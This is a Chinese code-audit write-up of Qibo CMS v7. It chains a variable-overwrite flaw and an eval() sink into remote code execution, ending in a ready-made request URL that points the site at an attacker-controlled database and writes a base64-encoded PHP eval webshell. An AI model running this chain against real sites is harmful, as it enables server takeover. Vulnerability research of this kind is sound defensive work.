原创作者:AndyNoel,转载于先知社区。原文地址:https://xz.aliyun.com/t/11276
前言
其实这周打算开始学Blockchain智能合约的,但是网络不行。。。先鸽一下。 起因是之前在等核酸结果,就顺便看了一下医院的管理系统,发现是某博。和有关部门要了授权,尝试了一下。 安装CMS其实这一步没啥说的,但是很有可能会遇到因浏览器、编辑器编码格式不同造成的乱码,记得修改一下,不过有可能自己写的代码会报错。。。 代码审计变量覆盖+Getshell组合拳之前又有看到是一个老洞,这张图一年之前前我见过,不过据说好像很鸡肋。 我们直接去看fujsarticle.php
跟进global.php :
require_once(dirname(__FILE__).'/'.'../inc/common.inc.php'); //核心文件
引用了/inc/common.inc.php ,继续跟进,在其中就能找到一段有问题的代码, <?php ... $_POST=Add_S($_POST); $_GET=Add_S($_GET); $_COOKIE=Add_S($_COOKIE); ... foreach($_COOKIE AS $_key=>$_value){ unset($$_key); } foreach($_POST AS $_key=>$_value){ !ereg('^\_[A-Z]+',$_key) && $$_key=$_POST[$_key]; } foreach($_GET AS $_key=>$_value){ !ereg('^\_[A-Z]+',$_key) && $$_key=$_GET[$_key]; }
使用foreach 来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。 具体情况我们可以编写一段代码测试一下: <?php error_reporting(0); $id=111111; echo $id; echo '</br>';
foreach($_COOKIE AS $_key=>$_value){ unset($$_key); } foreach($_POST AS $_key=>$_value){ !ereg('^\_[A-Z]+',$_key) && $$_key=$_POST[$_key]; } foreach($_GET AS $_key=>$_value){ !ereg('^\_[A-Z]+',$_key) && $$_key=$_GET[$_key]; } $id; echo $id; ?>
请求?id=test 会将$id 的值覆盖 简单来说id 在一开始被初始化,后来经过foreach 进行遍历,变量就会被覆盖。同理,当我们构造FileName 时,遍历后没有再次初始化,导致变量覆盖。然后FileName 进行传递
<?php ... $FileName=dirname(__FILE__).'/../cache/fujsarticle_cache/'; if($type=='like'){ $FileName.=floor($id/3000).'/'; }else{ unset($id); } ... if(!is_dir(dirname($FileName))){ makepath(dirname($FileName)); } if( (time()-filemtime($FileName))>($webdb['cache_time_$type']*60) ){ write_file($FileName,'<?php \r\n\$show=stripslashes(''.addslashes($show).''); ?>'); }
<?php $show=stripslashes('<div class=\\\'side_t\\\' style=\\\'height:24px;background:url(http://localhost/qibo_v7/images/default/ico_block.gif) no-repeat 0px 3px;padding-left:15px;\\\'><A target=\\\'_blank\\\' HREF=\\\'http://localhost/qibo_v7/bencandy.php?fid=14&id=542\\\' title=\\\'</div>'); ?>
在当前目录生成了hint.php ,并生成了特定内容。 同理,我们可以覆盖指定文件导致数据库配置错误/data/mysql_config.php 。
但是这只是第一步,接下来准备想办法写入shell。 跟进jf.php <?php require(dirname(__FILE__).'/'.'global.php');
$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);
$query = $db->query('SELECT * FROM {$pre}jfsort ORDER BY list'); while($rs = $db->fetch_array($query)){ $fnameDB[$rs[fid]]=$rs[name]; $query2 = $db->query('SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list'); while($rs2 = $db->fetch_array($query2)){ eval('\$rs2[title]=\'$rs2[title]\';'); eval('\$rs2[content]=\'$rs2[content]\';'); $jfDB[$rs[fid]][]=$rs2; } }
require(ROOT_PATH.'inc/head.php'); require(html('jf')); require(ROOT_PATH.'inc/foot.php');
?>
会查询qb_jfabout 和qb_jfsort 两个表内的数据,并且结合后面的eval语句,我们可以在表内插入恶意语句 <?php $string1 = 'sp4c1ous'; $string2 = 'BigPowercat'; $str = '$string1 & $string2 are gay'; echo $str. '<br />'; eval('\$str = \'$str\';'); echo $str; ?>
注意这个地方,字符串输出在双引号之内,会将其看成为普通的字符串,但是输出在双引号之外的就会当成代码来执行。
那么有人问了,这两个人是谁呢?他俩是不在乎世俗偏见的一对,这就是爱情啊。 那我们如何写入恶意语句呢?其实不用我们写进去,我们在自己的数据库新建自己的两个命名为qb_jfabout 和qb_jfsort 的表,在第一个表的title 和content 插入语句,然后借助file_put_contents 不能只简单地写入,还要记得闭合引号 id | fid | list | title | content |
---|
1 | 1 | 1
| '+$_GET[a]($_GET[b]);+' | '+$_GET[a]($_GET[b]);+' |
/do/jf.php?dbuser=数据库用户&dbpw=数据库密码&dbhost=数据库地址&dbname=数据库名称&pre=qb_&dbcharset=gbk&submit=123&a=assert&b=${file_put_contents(base64_decode('aGFjay5waHA='),base64_decode('PD9waHAgQGV2YWwoJyRfUE9TVFtoYWNrXScpOz8+'))};
就会在当前目录生成我们的shell,蚁剑连接。
|